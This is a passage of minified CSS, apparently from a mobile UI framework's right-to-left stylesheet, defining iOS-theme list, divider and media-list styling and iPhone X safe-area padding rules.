a,.list.theme-dark .item-link .item-inner,.media-list.theme-dark .item-link .item-title-row,.theme-dark .links-list a,.theme-dark .list .item-link .item-inner,.theme-dark .media-list .item-link .item-title-row,.theme-dark li.media-item .item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.media-list.theme-dark .item-link .item-inner,.theme-dark .media-list .item-link .item-inner,.theme-dark li.media-item .item-link .item-inner{background-image:none}.ios .list{margin:35px 0;font-size:17px}.ios .list .item-cell{width:100%;min-width:0;margin-right:15px}.ios .list .item-cell:first-child{margin-right:0}.ios .list ul{background:#fff}.ios .list ul ul{padding-right:45px}.ios .list .item-media{padding-top:7px}.ios .list .item-media i+i,.ios .list .item-media i+img{margin-right:5px}.ios .list .item-media+.item-inner{margin-right:15px}.ios .list .item-inner{min-height:44px;padding-left:15px}.ios .list .item-after{color:#8e8e93;padding-right:5px}.ios .list .item-link,.ios .list .list-button{color:inherit}.ios .list .item-link .item-inner,.ios .list .list-button .item-inner{padding-left:35px}.ios .list .item-link.active-state,.ios .list .list-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .list .item-link.active-state .item-inner:after,.ios .list .list-button.active-state .item-inner:after{background-color:transparent}.ios .list .list-button{padding:0 15px;text-align:center;color:#007aff;line-height:44px}.ios .list .item-content{min-height:44px;padding-right:15px}.ios .list .item-subtitle{font-size:15px}.ios .list .item-text{font-size:15px;color:#8e8e93;line-height:21px;max-height:42px}.ios .list .item-footer,.ios .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.ios .list .item-footer{color:#8e8e93}.ios .list .item-link.no-chevron .item-inner,.ios .list .no-chevron .item-link .item-inner,.ios .list.no-chevron .item-link .item-inner,.ios .no-chevron .list .item-link .item-inner{padding-left:15px}.ios .simple-list li:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .simple-list li{padding-left:15px;padding-right:15px;line-height:44px;height:44px}.ios .simple-list li:after{left:15px;right:0;width:auto;right:15px;left:0}.ios .links-list a:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .links-list a{height:44px;color:inherit}.ios .links-list a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .links-list a:after{width:auto}.ios .links-list a{padding-right:15px;padding-left:35px}.ios .links-list a:after{right:15px;left:0}.ios .links-list .no-chevron a,.ios .links-list a.no-chevron,.ios .links-list.no-chevron a,.ios .no-chevron .links-list a{padding-left:15px}.ios .media-list .item-title,.ios li.media-item .item-title{font-weight:600}.ios .media-list .item-inner,.ios li.media-item .item-inner{padding-top:10px;padding-bottom:9px}.ios .media-list .item-media,.ios li.media-item .item-media{padding-top:9px;padding-bottom:10px}.ios .media-list .item-link .item-inner,.ios li.media-item .item-link .item-inner{padding-left:15px}.ios .media-list .item-link .item-title-row,.ios li.media-item .item-link .item-title-row{padding-left:20px}.ios .media-list .chevron-center .item-link .item-inner,.ios .media-list .item-link.chevron-center .item-inner,.ios .media-list.chevron-center .item-link .item-inner,.ios li.media-item .chevron-center .item-link .item-inner,.ios li.media-item .item-link.chevron-center .item-inner,.ios li.media-item.chevron-center .item-link .item-inner{padding-left:35px}.ios .media-list .chevron-center .item-title-row,.ios .media-list .no-chevron .item-link .item-title-row,.ios .media-list.chevron-center .item-title-row,.ios .media-list.no-chevron .item-link .item-title-row,.ios .no-chevron .media-list .item-link .item-title-row,.ios .no-chevron li.media-item .item-link .item-title-row,.ios li.media-item .chevron-center .item-title-row,.ios li.media-item.chevron-center .item-title-row,.ios li.media-item.no-chevron .item-link .item-title-row{padding-left:0!important}.ios .links-list a,.ios .list .item-link .item-inner{background-position:15px center}.ios .item-divider,.ios .list-group-title{margin-top:-1px;padding:4px 15px;background:#f7f7f7;color:#8e8e93}.ios .item-divider:after,.ios .list-group-title:after{display:none!important}.ios .list-group-title{margin-top:0}.ios .item-divider:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .item-divider:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .item-divider:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list-group-title:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list-group-title:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list-group-title:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .list-button:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .list-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .list-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list.inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.inset ul{border-radius:7px}.ios .list.inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.inset li:first-child:last-child>a{border-radius:7px}@media (min-width:768px){.ios .list.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.tablet-inset ul{border-radius:7px}.ios .list.tablet-inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.tablet-inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.tablet-inset li:first-child:last-child>a{border-radius:7px}}.ios li li:last-child .item-inner:after,.ios li:last-child li .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{background-position:calc(15px + constant(safe-area-inset-left)) center;background-position:calc(15px + env(safe-area-inset-left)) center}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron 